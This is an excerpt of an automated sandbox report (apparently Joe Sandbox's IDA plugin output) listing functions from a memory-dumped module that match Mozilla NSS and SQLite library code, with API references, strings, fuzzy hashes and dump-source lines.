Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: Util$Error$Arena_Free$ArenaItem_memset$Alloc_CopyEncodeInteger_Mark_ValueZfree
String ID:
API String ID: 1285963562-0
Opcode ID: 6622f40e3f63b5954a03008dca1277074296384f8fa25b3a2f763ed3a8dd032c
Instruction ID: e27f82db3c0c3700629e5e64354221eabc0f9c98c2d9e67cd2aca0100eb8d7c2
Opcode Fuzzy Hash: 6622f40e3f63b5954a03008dca1277074296384f8fa25b3a2f763ed3a8dd032c
Instruction Fuzzy Hash: BE22DE71A04301AFE710CF14CE49B9A77E1AF84308F25893CE8595B792E732F859CB96

Function 6C764420 Relevance: 37.9, APIs: 10, Strings: 11, Instructions: 1186stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C764EE3

Strings

an index, xrefs: 6C764D53, 6C764E86
w=vl, xrefs: 6C7647FB
start of , xrefs: 6C76517A
a generated column, xrefs: 6C764D58, 6C764E8B
-, xrefs: 6C764FBA
a CHECK constraint, xrefs: 6C764D62, 6C764D6D, 6C764E95, 6C764EA0
40f-21a-21d, xrefs: 6C7644D0
weekday , xrefs: 6C7654AB
non-deterministic use of %s() in %s, xrefs: 6C764D71, 6C764EA4
second, xrefs: 6C764BCA
w=vl, xrefs: 6C764431, 6C764E25, 6C76533D, 6C765536, 6C7655A0, 6C764A83, 6C764A99, 6C765313, 6C765325, 6C764CFC, 6C764A8C, 6C7651AC, 6C7648B9, 6C7646CD, 6C764786, 6C7648D5, 6C76490D, 6C765404, 6C765411, 6C76541E, 6C765365, 6C76537B, 6C76536E, 6C76542A, 6C765466, 6C7653C9, 6C765211, 6C764BA1, 6C765013, 6C76521D, 6C764C69, 6C76528B, 6C764691, 6C765058, 6C764E5E, 6C764FA4, 6C764FEB, 6C764FDF, 6C764F9D, 6C764E77, 6C764EDF, 6C764576, 6C764F90

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: strlen
String ID: -$40f-21a-21d$a CHECK constraint$a generated column$an index$non-deterministic use of %s() in %s$second$start of $w=vl$w=vl$weekday
API String ID: 39653677-2058574677
Opcode ID: f95cc334380537f1609f7336f764dd1d13fd7f78067e1149d3d6517f9277c9e6
Instruction ID: 45763fa712dde4b088e5ad0db191c1c0b8854fcb817c06009312de74eeb40369
Opcode Fuzzy Hash: f95cc334380537f1609f7336f764dd1d13fd7f78067e1149d3d6517f9277c9e6
Instruction Fuzzy Hash: 41A225316087848FD721CF3AC260266BBE2AF86358F148A6DECE55BF42D735D886D741

Function 6C75ECD0 Relevance: 33.8, APIs: 7, Strings: 12, Instructions: 539COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6C75ED38

Part of subcall function 6C6F4F60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6F4FC4

sqlite3_mprintf.NSS3(snippet), ref: 6C75EF3C
sqlite3_mprintf.NSS3(offsets), ref: 6C75EFE4

Part of subcall function 6C81DFC0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,00000003,?,6C6F5001,?,00000003,00000000), ref: 6C81DFD7

sqlite3_mprintf.NSS3(matchinfo), ref: 6C75F087
sqlite3_mprintf.NSS3(matchinfo), ref: 6C75F129
sqlite3_mprintf.NSS3(optimize), ref: 6C75F1D1
sqlite3_free.NSS3(?), ref: 6C75F368

Strings

porter, xrefs: 6C75ED97
fts3_tokenizer, xrefs: 6C75EE1A, 6C75EEA8
snippet, xrefs: 6C75EF05, 6C75EF37, 6C75EF7C
fts4, xrefs: 6C75F2AD
fts3, xrefs: 6C75F247
optimize, xrefs: 6C75F199, 6C75F1CC, 6C75F211
fts4aux, xrefs: 6C75ECF9
matchinfo, xrefs: 6C75F04F, 6C75F082, 6C75F0C2, 6C75F0F2, 6C75F124, 6C75F169
offsets, xrefs: 6C75EFAF, 6C75EFDF, 6C75F01F
simple, xrefs: 6C75ED79
unicode61, xrefs: 6C75EDB5
fts3tokenize, xrefs: 6C75F30F

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: sqlite3_mprintf$strlen$sqlite3_freesqlite3_initialize
String ID: fts3$fts3_tokenizer$fts3tokenize$fts4$fts4aux$matchinfo$offsets$optimize$porter$simple$snippet$unicode61
API String ID: 2518200370-449611708
Opcode ID: f43f7779ce20d610674eecb81d6d5d7790f4a27619d3dae9122026f2cd317c96
Instruction ID: 117d2f3c65b29898456e21663fcd6e1de240bc135b30f18fc3b54df60e399fb0
Opcode Fuzzy Hash: f43f7779ce20d610674eecb81d6d5d7790f4a27619d3dae9122026f2cd317c96
Instruction Fuzzy Hash: A302EFB1B043004BE7149F719A8A72B36B2BBC560CF54893CD85A87B41EF75E95AC7C2

Function 6C79A4D0 Relevance: 32.0, APIs: 13, Strings: 5, Instructions: 501stringCOMMON

Download Yara Rule

APIs

PL_strncasecmp.NSS3(6C7728AD,pkcs11:,00000007), ref: 6C79A501
PORT_Strdup_Util.NSS3(6C7728AD), ref: 6C79A514

Part of subcall function 6C7D0F10: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6C772AF5,?,?,?,?,?,6C770A1B,00000000), ref: 6C7D0F1A
Part of subcall function 6C7D0F10: malloc.MOZGLUE(00000001), ref: 6C7D0F30
Part of subcall function 6C7D0F10: memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C7D0F42

strchr.VCRUNTIME140(00000000,0000003A), ref: 6C79A529
PK11_GetInternalKeySlot.NSS3 ref: 6C79A60D
PR_SetError.NSS3(FFFFE041,00000000), ref: 6C79A74B
PR_SetError.NSS3(FFFFE041,00000000), ref: 6C79A777
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C79A80C
memcmp.VCRUNTIME140(?,00000001,00000000), ref: 6C79A82B
CERT_DestroyCertificate.NSS3(00000000), ref: 6C79A952
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C79A9C3

Part of subcall function 6C7C0960: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,00000000,?,6C79A8F5,00000000,?,00000010), ref: 6C7C097E
Part of subcall function 6C7C0960: memcmp.VCRUNTIME140(?,00000000,6C79A8F5,00000010), ref: 6C7C098D

free.MOZGLUE(00000000), ref: 6C79AB18
strchr.VCRUNTIME140(?,00000040), ref: 6C79AB40
free.MOZGLUE(?), ref: 6C79ABE1

Part of subcall function 6C794170: TlsGetValue.KERNEL32(?,6C7728AD,00000000,?,6C79A793,?,00000000), ref: 6C79419F
Part of subcall function 6C794170: EnterCriticalSection.KERNEL32(0000001C), ref: 6C7941AF
Part of subcall function 6C794170: PR_Unlock.NSS3(?), ref: 6C7941D4

Strings

manufacturer, xrefs: 6C79A8A2
token, xrefs: 6C79A875
pkcs11:, xrefs: 6C79A4FB
object, xrefs: 6C79A5CF
model, xrefs: 6C79A8CF

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: strlen$Errorfreememcmpstrchr$CertificateCriticalDestroyEnterInternalK11_L_strncasecmpSectionSlotStrdup_UnlockUtilValuemallocmemcpy
String ID: manufacturer$model$object$pkcs11:$token
API String ID: 916065474-709816111
Opcode ID: 410348e018842cd68b7f05c25971d5e3dda40cbdff3e211c6356126a4a7420c7
Instruction ID: e519cdfc17e6c7701e8b3f7f51e4bb6602c1bdbe375d5cd89eae8aa633bcc287
Opcode Fuzzy Hash: 410348e018842cd68b7f05c25971d5e3dda40cbdff3e211c6356126a4a7420c7
Instruction Fuzzy Hash: C802B8B5D022149FEF219B35BE49B9A7675AF0135CF1400B4E90CA6B12FB319E58CF92

Function 6C7BA650 Relevance: 31.8, APIs: 21, Instructions: 278memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C7BA670

Part of subcall function 6C7D0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C7787ED,00000800,6C76EF74,00000000), ref: 6C7D1000
Part of subcall function 6C7D0FF0: PR_NewLock.NSS3(?,00000800,6C76EF74,00000000), ref: 6C7D1016
Part of subcall function 6C7D0FF0: PL_InitArenaPool.NSS3(00000000,security,6C7787ED,00000008,?,00000800,6C76EF74,00000000), ref: 6C7D102B

PK11_GetInternalKeySlot.NSS3 ref: 6C7BA67E
PK11_Authenticate.NSS3(00000000,00000001,?), ref: 6C7BA69B

Part of subcall function 6C799520: PK11_IsLoggedIn.NSS3(00000000,?,6C7C379E,?,00000001,?), ref: 6C799542

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C7BA6C0
TlsGetValue.KERNEL32 ref: 6C7BA703
EnterCriticalSection.KERNEL32(?), ref: 6C7BA718
PR_Unlock.NSS3(?), ref: 6C7BA78B
PK11_CreateContextBySymKey.NSS3(00000133,00000104,?,00000000), ref: 6C7BA7DD
PK11_GetBlockSize.NSS3(00000133,00000000), ref: 6C7BA7FA
PORT_Alloc_Util.NSS3(00000000), ref: 6C7BA818
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C7BA82F
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C7BA868
PORT_FreeArena_Util.NSS3(00000000,00000001), ref: 6C7BA873
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C7BA884
PK11_FreeSymKey.NSS3(00000000), ref: 6C7BA894
PORT_ArenaAlloc_Util.NSS3(?,00000000), ref: 6C7BA8D9
PK11_CipherOp.NSS3(?,00000000,?,00000000,00000000,00000000), ref: 6C7BA8F0
SEC_ASN1EncodeItem_Util.NSS3(00000000,?,?,6C8D0B04), ref: 6C7BA93F
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C7BA952
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C7BA961
PK11_DestroyContext.NSS3(?,00000001), ref: 6C7BA96E

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: Util$K11_$Item_$Zfree$Arena_Free$Alloc_ArenaContext$AuthenticateBlockCipherCreateCriticalDestroyEncodeEnterInitInternalLockLoggedPoolSectionSizeSlotUnlockValuecallocmemcpy
String ID:
API String ID: 1441238854-0
Opcode ID: 55f58ab63158b2de14446c924c4646be8a92fe5e28c0e9586663f2418d74fcc3
Instruction ID: b338d5c0666e7800a89143631528e5add63339fabcded2a765018e7001b7de25
Opcode Fuzzy Hash: 55f58ab63158b2de14446c924c4646be8a92fe5e28c0e9586663f2418d74fcc3
Instruction Fuzzy Hash: 4D91D7B1E002099FEB01EFA5DE49AAEBBB4AF1531CF144435E814BB741F731A909C791

Function 6C79E6E0 Relevance: 30.6, APIs: 20, Instructions: 581memorythreadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C79E8AB
EnterCriticalSection.KERNEL32(?), ref: 6C79E8BF
PORT_Alloc_Util.NSS3(0000000C), ref: 6C79EA30
PK11_Encrypt.NSS3(?,?,?,?,?,?,00000000,?), ref: 6C79EA6A
PORT_Alloc_Util.NSS3(?), ref: 6C79EB0D
memcpy.VCRUNTIME140(00000000,00000000,?), ref: 6C79EB23
memcpy.VCRUNTIME140(?,?), ref: 6C79EB38
PR_SetError.NSS3(FFFFE006,00000000), ref: 6C79EB50
PR_SetError.NSS3(00000000,00000000), ref: 6C79EC0F
PR_Unlock.NSS3(?), ref: 6C79EC68
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C79EC7D
PR_Unlock.NSS3(?), ref: 6C79EC9C
PK11_Decrypt.NSS3(?,?,?,?,?,?,00000000,?), ref: 6C79ECCF
PR_GetCurrentThread.NSS3 ref: 6C79ED02
PK11_Decrypt.NSS3(?,00001087,?,?,?,?,?,?), ref: 6C79ED6F
PK11_Encrypt.NSS3(?,00001087,?,?,?,?,?,?), ref: 6C79EDB7
memcpy.VCRUNTIME140(?,?,?), ref: 6C79EDF6
memcpy.VCRUNTIME140(?,?), ref: 6C79EE12
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C79EE2B

Part of subcall function 6C81C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C81C2BF

free.MOZGLUE(?), ref: 6C79EE43

Part of subcall function 6C7607A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C6F204A), ref: 6C7607AD
Part of subcall function 6C7607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C6F204A), ref: 6C7607CD
Part of subcall function 6C7607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C6F204A), ref: 6C7607D6
Part of subcall function 6C7607A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C6F204A), ref: 6C7607E4
Part of subcall function 6C7607A0: TlsSetValue.KERNEL32(00000000,?,6C6F204A), ref: 6C760864
Part of subcall function 6C7607A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C760880
Part of subcall function 6C7607A0: TlsSetValue.KERNEL32(00000000,?,?,6C6F204A), ref: 6C7608CB
Part of subcall function 6C7607A0: TlsGetValue.KERNEL32(?,?,6C6F204A), ref: 6C7608D7
Part of subcall function 6C7607A0: TlsGetValue.KERNEL32(?,?,6C6F204A), ref: 6C7608FB

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: Value$ErrorK11_memcpy$Alloc_DecryptEncryptUnlockUtilcalloc$CriticalCurrentEnterSectionThreadfree
String ID:
API String ID: 1743700497-0
Opcode ID: a66109bb136f479263d143f208301f7ba00f9eea37433df10ab9747875c85334
Instruction ID: ddde9d6e5bd7ce01d85956ec1e65dc497401aa7db85ff1d9bab5fad6110f3289
Opcode Fuzzy Hash: a66109bb136f479263d143f208301f7ba00f9eea37433df10ab9747875c85334
Instruction Fuzzy Hash: 083245B1604309DFDB14CF69D980A9ABBF1BF89308F14892DE89997761D731E844CF92

Function 6C762560 Relevance: 30.3, APIs: 10, Strings: 7, Instructions: 533stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C6FCA30: EnterCriticalSection.KERNEL32(?,?,?,6C75F9C9,?,6C75F4DA,6C75F9C9,?,?,6C72369A), ref: 6C6FCA7A
Part of subcall function 6C6FCA30: LeaveCriticalSection.KERNEL32(?), ref: 6C6FCB26

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C7625B2
memset.VCRUNTIME140(00000000,00000000,00000079), ref: 6C7625DE
sqlite3_snprintf.NSS3(-0000000F,00000068,%s-shm,?), ref: 6C762604
sqlite3_initialize.NSS3 ref: 6C76269D
sqlite3_uri_parameter.NSS3(?,readonly_shm), ref: 6C7626D6
sqlite3_initialize.NSS3 ref: 6C76289F
EnterCriticalSection.KERNEL32(?), ref: 6C7629CD
LeaveCriticalSection.KERNEL32(?), ref: 6C762A26
sqlite3_free.NSS3(?), ref: 6C762B30

Strings

winShmMap1, xrefs: 6C762AB0
readonly_shm, xrefs: 6C7626CE
winOpenShm, xrefs: 6C762B7E
winShmMap3, xrefs: 6C762C08, 6C762C3D
winShmMap2, xrefs: 6C762BD0
%s-shm, xrefs: 6C7625FD
winFileSize, xrefs: 6C762A7D

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavesqlite3_initialize$memsetsqlite3_freesqlite3_snprintfsqlite3_uri_parameterstrlen
String ID: %s-shm$readonly_shm$winFileSize$winOpenShm$winShmMap1$winShmMap2$winShmMap3
API String ID: 3867263885-4021692097
Opcode ID: 2a83b69288b9d0089a93ebfc2afed182e347c2d11c26eff59007c1506093cbfb
Instruction ID: 1bfe7ec9de6b98e1e1747990f3726696d5f71c34cae501e704a712d6adf49c77
Opcode Fuzzy Hash: 2a83b69288b9d0089a93ebfc2afed182e347c2d11c26eff59007c1506093cbfb
Instruction Fuzzy Hash: 82129871A042019FEB64CF26D988A6A77B1BF89318F14893CEC459BB51DB34ED05CBD2

Function 6C72A7D0 Relevance: 28.2, APIs: 5, Strings: 8, Instructions: 5451COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?), ref: 6C72A973

Strings

gfff, xrefs: 6C72ED41
MULTI-INDEX OR, xrefs: 6C72D6E6
at most %d tables in a join, xrefs: 6C72B630
too many arguments on %s() - max %d, xrefs: 6C72EB2D
INDEX %d, xrefs: 6C72D786
N, xrefs: 6C72AD0F
abbreviated query algorithm search, xrefs: 6C72B3BF
SCAN CONSTANT ROW, xrefs: 6C72B01D

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: memset
String ID: N$INDEX %d$MULTI-INDEX OR$SCAN CONSTANT ROW$abbreviated query algorithm search$at most %d tables in a join$gfff$too many arguments on %s() - max %d
API String ID: 2221118986-452224314
Opcode ID: 98fb82009f8ed43dd5d17fd70d1f14df4064e18408bc97cb32eb7c29325282c5
Instruction ID: fcd1ef826b42de936f70cfd18c9a733876a87a48396cb5b53fd410b25982ce9a
Opcode Fuzzy Hash: 98fb82009f8ed43dd5d17fd70d1f14df4064e18408bc97cb32eb7c29325282c5
Instruction Fuzzy Hash: 7DB34D746083418FD324CF29C690B5AB7F2FF89318F14896DE9998B752D739E846CB42

Function 6C7DA730 Relevance: 27.4, APIs: 18, Instructions: 378memorystringCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C7DA778

Part of subcall function 6C7D14C0: TlsGetValue.KERNEL32 ref: 6C7D14E0
Part of subcall function 6C7D14C0: EnterCriticalSection.KERNEL32 ref: 6C7D14F5
Part of subcall function 6C7D14C0: PR_Unlock.NSS3 ref: 6C7D150D

Part of subcall function 6C7DB990: PORT_NewArena_Util.NSS3(00000800,00000000,?,FFFFFFFF,?,6C7DA78B,?), ref: 6C7DB9A4
Part of subcall function 6C7DB990: PORT_ArenaAlloc_Util.NSS3(00000000,00000014,?), ref: 6C7DB9B5
Part of subcall function 6C7DB990: PK11_HashBuf.NSS3(00000004,00000000,E4840FC0,89000000,?,?,?), ref: 6C7DB9D9
Part of subcall function 6C7DB990: PR_SetError.NSS3(FFFFE013,00000000,?,?,?), ref: 6C7DB9EC
Part of subcall function 6C7DB990: PORT_FreeArena_Util.NSS3(00000000,00000001,?,?,?,?,?), ref: 6C7DBA0A

Part of subcall function 6C7DA3F0: PORT_ArenaMark_Util.NSS3(?), ref: 6C7DA43E
Part of subcall function 6C7DA3F0: PORT_ArenaMark_Util.NSS3(FFFFFFFF,?,?,?,?,?,?,00000000,?,-0000001C,?,6C7DA7B5,?), ref: 6C7DA457
Part of subcall function 6C7DA3F0: PORT_ArenaAlloc_Util.NSS3(FFFFFFFF,00000018,?,?,?,?,?,?,?,00000000,?,-0000001C,?,6C7DA7B5,?), ref: 6C7DA464
Part of subcall function 6C7DA3F0: SECOID_FindOIDByTag_Util.NSS3(000000A8,?,?,?,?,?,?,?,?,?,00000000,?,-0000001C,?,6C7DA7B5,?), ref: 6C7DA48D
Part of subcall function 6C7DA3F0: SECITEM_CopyItem_Util.NSS3(FFFFFFFF,?,00000000,?,?,?,?,?,?,?,?,?,?,00000000,?,-0000001C), ref: 6C7DA49F
Part of subcall function 6C7DA3F0: PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?,00000000,?,-0000001C), ref: 6C7DA4B2

PORT_ArenaMark_Util.NSS3(?), ref: 6C7DA7FC
PK11_FindKeyByAnyCert.NSS3(?,?), ref: 6C7DA891
SECKEY_DestroyPrivateKey.NSS3(00000000), ref: 6C7DA8AF
PORT_ArenaAlloc_Util.NSS3(?,00000038), ref: 6C7DA8C0
PR_SetError.NSS3(FFFFE006,00000000), ref: 6C7DA967
PK11_GetInternalKeySlot.NSS3 ref: 6C7DA981
PK11_FindKeyByAnyCert.NSS3(00000000,?), ref: 6C7DA9A1
SECKEY_DestroyPrivateKey.NSS3(00000000), ref: 6C7DA9DA
PORT_ArenaAlloc_Util.NSS3(?,00000028), ref: 6C7DAA04
SECKEY_DestroyEncryptedPrivateKeyInfo.NSS3(?,00000001), ref: 6C7DAA45
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C7DAA70
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C7DAAE3
PORT_FreeArena_Util.NSS3(00000000,00000001), ref: 6C7DAB10
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C7DAB7D
PORT_ArenaAlloc_Util.NSS3(00000000,00000010), ref: 6C7DABD8
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C7DAC0F

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Error$Arena_K11_Mark_$DestroyFindFreePrivate$Cert$CopyCriticalEncryptedEnterHashInfoInternalItem_SectionSlotTag_UnlockValuestrlen
String ID:
API String ID: 4141365096-0
Opcode ID: 5f865054e3946d455471752a1c96b2e4e26b5c11683a14e879b4167e639bbceb
Instruction ID: 4f670a0e855d1d5c616ad64bf0f42434d8166cba4eed709788b64e4fcdd03231
Opcode Fuzzy Hash: 5f865054e3946d455471752a1c96b2e4e26b5c11683a14e879b4167e639bbceb
Instruction Fuzzy Hash: 48D1D375A043009FEB00CF24DA44B9B3BA5BF8536CF168638E8489B791E731F945CB92

Function 6C76EF40 Relevance: 25.1, APIs: 10, Strings: 4, Instructions: 629stringmemoryCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C76EF63

Part of subcall function 6C7787D0: PORT_NewArena_Util.NSS3(00000800,6C76EF74,00000000), ref: 6C7787E8
Part of subcall function 6C7787D0: PORT_ArenaAlloc_Util.NSS3(00000000,00000008,?,6C76EF74,00000000), ref: 6C7787FD
Part of subcall function 6C7787D0: PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6C77884C

PL_strncasecmp.NSS3(oid.,?,00000004), ref: 6C76F2D4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C76F2FC
SEC_StringToOID.NSS3(?,?,?,00000000), ref: 6C76F30F
SECITEM_AllocItem_Util.NSS3(?,00000000,-00000002), ref: 6C76F374
PL_strcasecmp.NSS3(6C8B2FD4,?), ref: 6C76F457
SECOID_FindOIDByTag_Util.NSS3(00000029), ref: 6C76F4D2
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6C76F66E
PR_SetError.NSS3(FFFFE007,00000000), ref: 6C76F67D
CERT_DestroyName.NSS3(?), ref: 6C76F68B

Part of subcall function 6C778320: PORT_ArenaAlloc_Util.NSS3(0000002A,00000018), ref: 6C778338
Part of subcall function 6C778320: SECOID_FindOIDByTag_Util.NSS3(?), ref: 6C778364
Part of subcall function 6C778320: PORT_ArenaAlloc_Util.NSS3(0000002A,?), ref: 6C77838E
Part of subcall function 6C778320: memcpy.VCRUNTIME140(00000000,?,?), ref: 6C7783A5
Part of subcall function 6C778320: PR_SetError.NSS3(FFFFE005,00000000), ref: 6C7783E3

